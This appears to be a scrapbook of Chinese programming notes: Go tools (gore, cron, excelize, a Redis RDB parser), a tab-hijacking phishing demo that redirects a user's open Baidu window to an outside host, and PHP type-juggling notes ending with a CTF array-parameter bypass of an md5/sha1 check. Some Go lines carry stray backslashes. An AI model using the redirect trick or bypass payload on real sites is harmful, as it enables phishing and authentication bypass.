go get -u github.com/motemen/gore/cmd/gore
❯ gore
gore version 0.4.1  :help for help
gore> a := 1
1
gore> a + 2
3
gore> func Add(a, b int) int { return a + b }
gore> Add(1, 2)
3

package main

import (
    "fmt"
    "time"

    "github.com/robfig/cron"
)

func main() {
    c := cron.New()

    c.AddFunc("*/1 * * * * *", func() {
        fmt.Println("every 1 seconds executing")
    })

    go c.Start()
    defer c.Stop()

    select {
    case <-time.After(time.Second * 10):
        return
    }
}https://learnku.com/articles/34456
Github：github.com/robfig/cron

type Record struct {
    Name string `xlsx:"A-姓名"`
    Age  int32  `xlsx:"B-年齡"`
}
func RefactorWrite(records []*Record) {
    xlsx := excelize.NewFile()
    index := xlsx.NewSheet("Sheet1")

    for i, t := range records {
        d := reflect.TypeOf(t).Elem()
        for j := 0; j < d.NumField(); j++ {
            // 设置表头
            if i == 0 {
                column := strings.Split(d.Field(j).Tag.Get("xlsx"), "-")[0]
                name := strings.Split(d.Field(j).Tag.Get("xlsx"), "-")[1]
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+1), name)
            }
            // 设置内容
            column := strings.Split(d.Field(j).Tag.Get("xlsx"), "-")[0]
            switch d.Field(j).Type.String() {
            case "string":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).String())
            case "int32":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).Int())
            case "int64":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).Int())
            case "bool":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).Bool())
            case "float32":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).Float())
            case "float64":
                xlsx.SetCellValue("Sheet1", fmt.Sprintf("%s%d", column, i+2), reflect.ValueOf(t).Elem().Field(j).Float())
            }
        }
    }

    xlsx.SetActiveSheet(index)
    // 保存到xlsx中
    err := xlsx.SaveAs("test_write.xlsx")
    if err != nil {
        fmt.Println(err)
    }
}

func main() {
    var records []*Record\
    records = append(records, &Record{\
       Name: "小明",\
      Age:  11,\
    })\
    records = append(records, &Record{\
       Name: "小华",\
      Age:  12,\
    })\
    // 反射写\
    RefactorWrite(records)
}
https://learnku.com/articles/34635

https://github.com/8090Lambert/go-redis-parser
go get github.com/8090Lambert/go-redis-parser
$ go-redis-parser -rdb <dump.rdb> -o <gen-file folder> -type <gen-file type, json or csv, default csv>

BigKeys 的输出示例：

# Scanning the rdb file to find biggest keys

-------- summary -------

Sampled 6 keys in the keyspace!
Total key length in bytes is 17

Biggest string found 's' has 1 bytes
Biggest   hash found 'h' has 1 fields
Biggest   list found 'li' has 2 items
Biggest sortedset found 'zset' has 2 members
Biggest    set found 'set' has 2 members
Biggest stream found 'stream' has 3 entries

1 string with 1 bytes
1 hash with 1 fields
1 list with 2 items
https://learnku.com/articles/34655

http://675ba661.w1n.pw/41593a https://www.leavesongs.com/PENETRATION/use-target-to-spoof-fishing.html
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return start()">click me</a>

<script>
function start() {
    setInterval(function() {
        baidu.href="http://675ba661.w1n.pw/baidu";
        baidu.click();
    }, 10000);
}
</script>
</body>
</html>
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="javascript:;" onclick="return start()">click me</a>

<script>
function start() {
    var w = window.open('https://www.baidu.com', 'baidu');
    setInterval(function() {
        w.location = 'http://675ba661.w1n.pw/baidu'
    }, 5000)
}
</script>
</body>
</html>

https://www.itcodemonkey.com/article/2185.html
floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8，因为该结果内部的表示其实是类似 7.9999999999999991118…。
?year=2016.99999999999 输出2017
var_dump("0e123" == "0e456");  //true
var_dump("0e123" == "0eabc");  //flase
0e123与0e456相互不严格性质比较的时候，会将0e这类字符串识为科学技术法的数字,0的无论多少次方都是零，所以相等,输出 true

0e123与0eabc相互进行不严格性质比较的时候，本应该将0e这类字符串识为科学技术法的数字,但是这里的0e后面跟着的是abc,数学中科学计数的指数不可以包含字母。所以这里字符串中虽然是0e开头，但是后面的abc却不符合科学技法的规范，所以输出是 false

error_reporting(0);
$flag = 'flag{I_think_that_I_just_broke_md5}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === sha1($_GET['password']))
        die($flag);
    else
        print 'Invalid password';
}
if ($_GET['username'] == $_GET['password'])
并且得满足:
if (md5($_GET['username']) === sha1($_GET['password']))  ?username[]=a&password[]=b